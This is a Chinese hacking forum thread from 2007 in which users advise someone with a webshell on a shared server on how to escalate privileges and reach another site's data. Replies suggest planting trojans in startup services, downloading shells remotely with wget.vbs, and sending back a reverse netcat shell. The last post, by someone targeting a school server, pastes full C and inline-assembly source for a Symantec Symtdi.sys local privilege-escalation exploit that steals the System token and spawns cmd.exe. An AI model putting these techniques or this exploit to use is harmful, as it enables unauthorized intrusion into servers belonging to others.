[讨论]webshell提权 MSSQL数据库
议题作者:...信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
开放端口:
127.0.0.1:21.........开放
127.0.0.1:23.........开放
127.0.0.1:25.........开放
127.0.0.1:80.........开放
127.0.0.1:110.........关闭
127.0.0.1:135.........开放
127.0.0.1:139.........关闭
127.0.0.1:445.........开放
127.0.0.1:1433.........开放
127.0.0.1:3389.........关闭
127.0.0.1:4899.........关闭
127.0.0.1:5631.........开放
127.0.0.1:5632.........关闭
127.0.0.1:43958.........关闭
23--telnet、25--SMTP、5631--Pcanywhere
目的:拿同个服务器上的程序
目标站:知道数据库路径 但是下载也要密码 (我是用旁站一个pub权限查看的)
1.通过漏洞拿下了个SHELL
2.机子上装了ASP和aspx,pcanywhere. (装在D盘没权限)
3.C:\Documents and Settings\All Users\Documents 无权限
3.MSSQL数据库 (跑弱口令无结果,找SA应该SHELL上站是ACCESS数据库的)
4.拿x-scan扫 没什么结果
5.至于其他的目录都没权限浏览,不能写。 启动的程序有写能浏览但不可写(T换不行)
serv-u没装!pcanywhere不行.
有高手要我用ZIP绑个马上去 方法我在google 和百度找不到。。
希望EST 各位牛人指教高招。。 先谢谢了 4899不是很火吗?试试这个
serv-u没装!那127.0.0.1:43958这是干什么的 [s:263] 楼上的可能没看清楚 4899跟43958都是关闭状态
看看服务器上有什么第三方软件, 或者找找SA ~
23也开着呢找找WinWebMail 那里要是可写的话权限会大一些(PS: 一般是不可写)
43958关着不一定就没SU 端口变了呗 open一个上去就知道鸟 [s:264] 1楼,他们说的那个ZIP绑马我认为类似于用捆绑工具把两个EXE变成一个文件.
找服务器上的可以自动启动的一个程序,然后把你想要执行的程序绑在上面,再替换一下原来服务器上的原文件,这样下次启动的时候你绑上去的程序也可以运行了,我听他们说这叫替换服务! 开放端口:
127.0.0.1:21.........开放
127.0.0.1:23.........开放
127.0.0.1:25.........开放
127.0.0.1:80.........开放
127.0.0.1:110.........关闭
127.0.0.1:135.........开放
127.0.0.1:139.........关闭
127.0.0.1:445.........开放
127.0.0.1:1433.........开放
127.0.0.1:3389.........关闭
127.0.0.1:4899.........关闭
127.0.0.1:5631.........开放
127.0.0.1:5632.........关闭
127.0.0.1:43958.........关闭
我想他的这个结果是用webshell里的那个扫描功能扫的 如果有WinWebMail的话,找找里面一些有用的信箱,看看有管理员的没有,找下信,可能会有发现 先FTP目标看看是否为SU,不是的话之后利用大马的搜索功能搜索一下"conn.asp"之类的文件. SMTP好象前段时间出了个0DAY,也可以试试. 楼主是不是要拿同服务器上另外一个站的源代码?
端口是webshell扫出来的,再外网扫下看看。(根据ftp连接信息大致能判断是不是serv-U)
想法子列到机子用户名,可跑跑FTP看。
pcanywhere那里是否也弄到口令了?
shell是否能执行cmd?WS组件删除没? [quote]引用第3楼haha3967于2007-09-26 13:14发表的 :
1楼,他们说的那个ZIP绑马我认为类似于用捆绑工具把两个EXE变成一个文件.
找服务器上的可以自动启动的一个程序,然后把你想要执行的程序绑在上面,再替换一下原来服务器上的原文件,这样下次启动的时候你绑上去的程序也可以运行了,我听他们说这叫替换服务![/quote]
貌似这里应该是利用winrar 6.x的溢出漏洞。成功率也是比较小的。
特别不能放在网站目录下,最好能放某个盘的根目录,或者比较常见的地方、 以前我也遇见过,开了43958而serv-u提权不成功 .机子上装了ASP和aspx,pcanywhere
[s:289] 扔个ASPNET小马上去.看能不能运行CMD或WS,传个XSNIFFER.反弹个NC回来,.强暴他的XX..找MSSQL其它敏感的文件SEE SEE,,查询分析器,,DIRTREE之类..备份个SHELL到XX目录..报告完... ftp是什么?msftp?? 43958端口是可以改的 密码也是可以改的.
难道没有CMDSHELL吗?
netstat -an 一下 一般来说,你有个MSSQL账号,不需要SA,大都可以提。 [quote]引用第13楼snailsor于2007-10-04 16:04发表的 :
一般来说,你有个MSSQL账号,不需要SA,大都可以提。[/quote]
请大牛明示 [quote]引用第13楼snailsor于2007-10-04 16:04发表的 :
一般来说,你有个MSSQL账号,不需要SA,大都可以提。[/quote]
你是说的那个普通mssql用户 提成系统权限吧?我没一台测试成功,也不清楚具体环境。悲哀! [quote]引用第13楼snailsor于2007-10-04 16:04发表的 :
一般来说,你有个MSSQL账号,不需要SA,大都可以提。[/quote]
public你提提看!不过如果ACCESS导出SHELL能公布出来的话,配合起来倒是有点可能。 aspx的shell比asp的shell权限高一些,你用aspx的shell到处跳转试试看,发现一些敏感的文件和三方软件都会给你带来灵感 或者php,搞不好直接系统权限了哦…… 不是有ASPX吗?要是简单的CMD命令可以执行的话。你不防试下cscript能用不。如果可以的话,那就
用wget.vbs远程下一个SHELL到你要X的那站的目录里。我曾经就这样拿下一个目标站的。
在WEBSHELL上无法跨目录过去。但是可以cscript.....直接VBS下一个SHELL到那个目录。但是记住
远程的那个SHELL不要是ASP的扩展名,不然的话是下不来的。因为已经被解析过了。要改成TXT什
么的。
[s:223] 先谢谢 EST 感谢回复我的人..我以为我帖子没有公布出来 非常感谢.
但是这些方法基本的米什么效果啊...
我知道目标站的数据库 路径但是下载要密码 .. 这个能突破吗?
我试了 黑客教程之注入点得知是否有硬盘访问权
[url]https://forum.eviloctal.com/read-htm-tid-25891-fpage-2.html[/url]
解释一下原理,其它AC数据库也是可以跨库查询。只要把 from 后的表名改成MDB数据库的硬盘绝对地址,后台加上个“. ”,接上要查的表名。例如,我要查D盘yqf.mdb中的ADMIN表:
我试了下 又用了SST 的SHELL 有读写 硬盘功能
但是 我准备读写他数据库 没提示 空白
我想了 应该也不行.. 因为所在的盘目录没权限..
请问谁用过这种方法 ?
HACKEST 或者php,搞不好直接系统权限了哦…… 试了失败
楼上的ASPX 也不行 不解析 拿的SHELL
还有 里面虚拟机有200多个站...有些是空的 对了
小D 渗透水平不高...
我扫过服务器 发觉几个 严重 漏洞..
但是 对于溢出 ..偶是白痴...
我试了 MSSQL 失败 ...
各位牛淫有啥 高手 ?请指教下 从脚本方面 ..那站 基本... 是精良修改过的.基本都纯HTML页面
后台能找到 社工米用 扫了目录米结果 数据库知道也没用..
唯一方法 就是溢出了 用X-CAN 报告 开了蠕虫传播端口
如果 有 大牛 需要开了 什么端口 偶马上放出来 郁闷,我的是学校的服务器
但是只有Symantec AntiVirus symtdi.sys这个提权感觉能入手,其它没什么服务,但是编译出来后好象不知道WEBSHELL执行 的...
#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
int main(int argc, char* argv[])
{
NTSTATUS status;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
PVOID VdmControl = NULL;
PVOID ShellCodeMemory = (PVOID)0x2E352E35;
DWORD MemorySize = 0x2000;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
OSVERSIONINFOEX OsVersionInfo;
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" );
ExitProcess( 0 );
return 0;
}
if ( OsVersionInfo.dwMinorVersion != 2 ) {
printf( "isn''t windows 2003 system\n" );
ExitProcess( 0 );
return 0;
}
printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );
printf( "Tested on: \n\twindows 2003 sp1 (ntkrnl.pa.exe version) \n\n" );
printf( "\tCoded by shadow3\n\n" );
status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {
printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
return 0;
}
memset( ShellCodeMemory, 0x90, MemorySize );
__asm {
call CopyShellCode
nop
nop
nop
nop
nop
nop
//
// 恢复SSDT保证系统能够正常运行
//
/*
mov edi, 0x80827D54
mov [edi], 0x808C998A
mov [edi+4], 0x809ba123
mov [edi+8], 0x80915CBE
*/ // ntoskrnl.exe
mov edi, 0x8083100C
// mov [edi], 0x808C998A
mov [edi+4], 0x809970CC // ntkrnlpa.exe version
mov [edi+8], 0x8092FF3E
mov eax,0xFFDFF124 // eax = ETHREAD (not 3G Mode)
mov eax,[eax]
mov esi,[eax+0x218]
mov eax,esi
search2k3sp1:
mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // Find System Process
jne search2k3sp1
mov eax,[eax+0xd8] // 获取system进程的token
mov [esi+0xd8],eax // 修改当前进程的token
ret 8
CopyShellCode:
pop esi
lea ecx, CopyShellCode
sub ecx, esi
mov edi,0x2E352E35
cld
rep movsb
}
deviceHandle = CreateFile("\\\\.\\Symtdi",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {
printf( "Open Symtdi device failed, code: %d\n", GetLastError() );
return 0;
} else {
printf( "Open Symtdi device success\n" );
}
DeviceIoControl( deviceHandle,
0x83022003,
NULL,
0,
(PVOID)0x8083100C, //ntkrnlpa.exe version // (PVOID)0x80827D54,
0xC,
&dwReturnSize,
NULL );
CloseHandle( deviceHandle );
VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
if ( VdmControl == NULL ) {
printf( "VdmControl == NULL\n" );
return 0;
}
printf( "call shellcode ... " );
_asm {
xor ecx,ecx
push ecx
push ecx
mov eax, VdmControl
call eax
}
printf( "Done.\n" );
printf( "Create New Process\n" );
GetStartupInfo( &stStartup );
CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );
return 0;
}
页:
[1]